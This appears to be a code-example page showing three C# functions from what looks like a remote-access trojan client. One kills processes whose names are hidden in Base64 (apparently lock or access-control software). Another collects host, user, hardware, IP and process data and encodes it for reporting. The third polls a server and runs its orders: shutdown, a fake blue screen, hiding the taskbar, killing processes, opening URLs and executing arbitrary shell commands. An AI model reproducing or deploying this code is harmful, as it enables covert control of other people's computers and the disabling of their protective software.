Example #1
0
 static void Killer()
 {
     while (true)
     {
         try{
             if (Struct.KillerPower == true)
             {
                 TaskbarLibrary.Show();
                 Process[] Processes = Process.GetProcesses();
                 foreach (Process p in Processes)
                 {
                     if (p.ProcessName == EncryptionLibrary.Base64Decode("dXNia2V5"))
                     {
                         p.Kill();
                     }
                     if (p.ProcessName == EncryptionLibrary.Base64Decode("ZWtpbGl0"))
                     {
                         p.Kill();
                     }
                 }
                 System.Threading.Thread.Sleep(100);
             }
         }
         catch {}
     }
 }
Example #2
0
        static public string CreateData()
        {
            if (Struct.Computer_Data == null)
            {
                string st1 = Dns.GetHostName() + "*|*" + Environment.UserName;
                string st2 = Core_Computer.CPUName() + "*|*" + Core_Computer.GPUName() + "*|*" + Core_Computer.RAMSize() + "*|*" + Core_Computer.OSInfo();
                string st3 = Core_Computer.IP();
                Struct.Computer_Data = st1 + "!=!" + st2 + "!=!" + st3;
            }
            Struct.Apps = "";
            string newString = "";

            Process[] Processes = Process.GetProcesses();
            foreach (Process p in Processes)
            {
                if (newString.LastIndexOf(p.ProcessName + ".exe?%%?") > 0)
                {
                    continue;
                }
                else
                {
                    newString = newString + p.ProcessName + ".exe?%%?";
                }
            }
            Struct.Apps = newString;
            Struct.Data = Struct.Computer_Data + "^*^" + Struct.Apps;
            return(EncryptionLibrary.Base64Encode(Struct.Data));
        }
Example #3
0
 static void CheckTask()
 {
     while (true)
     {
         try{
             string data = CoreLibrary.ChechTask(Struct.ID);
             if (data == "shutdown")
             {
                 if (CoreLibrary.SendTaskReset(Struct.ID) == "TRUE")
                 {
                     Struct.Command("shutdown -s -t 1");
                 }
             }
             else if (data == "restart")
             {
                 if (CoreLibrary.SendTaskReset(Struct.ID) == "TRUE")
                 {
                     Struct.Command("shutdown -r -t 1");
                 }
             }
             else if (data == "sleep")
             {
                 if (CoreLibrary.SendTaskReset(Struct.ID) == "TRUE")
                 {
                     Application.SetSuspendState(PowerState.Suspend, false, false);
                 }
             }
             else if (data == "bluescreen")
             {
                 if (CoreLibrary.SendTaskReset(Struct.ID) == "TRUE")
                 {
                     BsodLibrary.Show();
                 }
             }
             else if (data == "killerstart")
             {
                 if (CoreLibrary.SendTaskReset(Struct.ID) == "TRUE")
                 {
                     Struct.KillerPower = true;
                 }
             }
             else if (data == "killerstop")
             {
                 if (CoreLibrary.SendTaskReset(Struct.ID) == "TRUE")
                 {
                     Struct.KillerPower = false;
                 }
             }
             else if (data == "killersuspend")
             {
                 if (CoreLibrary.SendTaskReset(Struct.ID) == "TRUE")
                 {
                     Process[] Processes = Process.GetProcesses();
                     foreach (Process p in Processes)
                     {
                         if (p.ProcessName == EncryptionLibrary.Base64Decode("dXNia2V5"))
                         {
                             SuspendLibrary.SuspendProcess(p.Id);
                         }
                         if (p.ProcessName == EncryptionLibrary.Base64Decode("ZWtpbGl0"))
                         {
                             SuspendLibrary.SuspendProcess(p.Id);
                         }
                     }
                 }
             }
             else if (data == "killerresume")
             {
                 if (CoreLibrary.SendTaskReset(Struct.ID) == "TRUE")
                 {
                     Process[] Processes = Process.GetProcesses();
                     foreach (Process p in Processes)
                     {
                         if (p.ProcessName == EncryptionLibrary.Base64Decode("dXNia2V5"))
                         {
                             SuspendLibrary.ResumeProcess(p.Id);
                         }
                         if (p.ProcessName == EncryptionLibrary.Base64Decode("ZWtpbGl0"))
                         {
                             SuspendLibrary.ResumeProcess(p.Id);
                         }
                     }
                 }
             }
             else if (data == "showtaskbar")
             {
                 if (CoreLibrary.SendTaskReset(Struct.ID) == "TRUE")
                 {
                     TaskbarLibrary.Show();
                 }
             }
             else if (data == "hidetaskbar")
             {
                 if (CoreLibrary.SendTaskReset(Struct.ID) == "TRUE")
                 {
                     TaskbarLibrary.Hide();
                 }
             }
             else if (data.Split(',')[0] == "kill")
             {
                 if (CoreLibrary.SendTaskReset(Struct.ID) == "TRUE")
                 {
                     Process[] Processes = Process.GetProcesses();
                     foreach (Process p in Processes)
                     {
                         if (p.ProcessName == data.Split(',')[1].Replace(".exe", ""))
                         {
                             p.Kill();
                         }
                     }
                     Struct.Command("taskkill /IM " + data.Split(',')[1]);
                 }
             }
             else if (data.Split(',')[0] == "suspend")
             {
                 if (CoreLibrary.SendTaskReset(Struct.ID) == "TRUE")
                 {
                     Process[] Processes = Process.GetProcesses();
                     foreach (Process p in Processes)
                     {
                         if (p.ProcessName == data.Split(',')[1].Replace(".exe", ""))
                         {
                             SuspendLibrary.SuspendProcess(p.Id);
                         }
                     }
                 }
             }
             else if (data.Split(',')[0] == "resume")
             {
                 if (CoreLibrary.SendTaskReset(Struct.ID) == "TRUE")
                 {
                     Process[] Processes = Process.GetProcesses();
                     foreach (Process p in Processes)
                     {
                         if (p.ProcessName == data.Split(',')[1].Replace(".exe", ""))
                         {
                             SuspendLibrary.ResumeProcess(p.Id);
                         }
                     }
                 }
             }
             else
             {
                 string[] array = data.Split(',');
                 if (array[0] == "cmd")
                 {
                     string come = array[1];
                     if (CoreLibrary.SendTaskReset(Struct.ID) == "TRUE")
                     {
                         Struct.Command(come);
                     }
                 }
                 else if (array[0] == "url")
                 {
                     string come = array[1];
                     if (CoreLibrary.SendTaskReset(Struct.ID) == "TRUE")
                     {
                         System.Diagnostics.Process.Start(come);
                     }
                 }
                 else if (array[0] == "box")
                 {
                     string come = array[1];
                     if (CoreLibrary.SendTaskReset(Struct.ID) == "TRUE")
                     {
                         MessageBox.Show(come, "");
                     }
                 }
                 else
                 {
                     CoreLibrary.SendTaskReset(Struct.ID);
                 }
             }
         }
         catch {}
         System.Threading.Thread.Sleep(5000);
     }
 }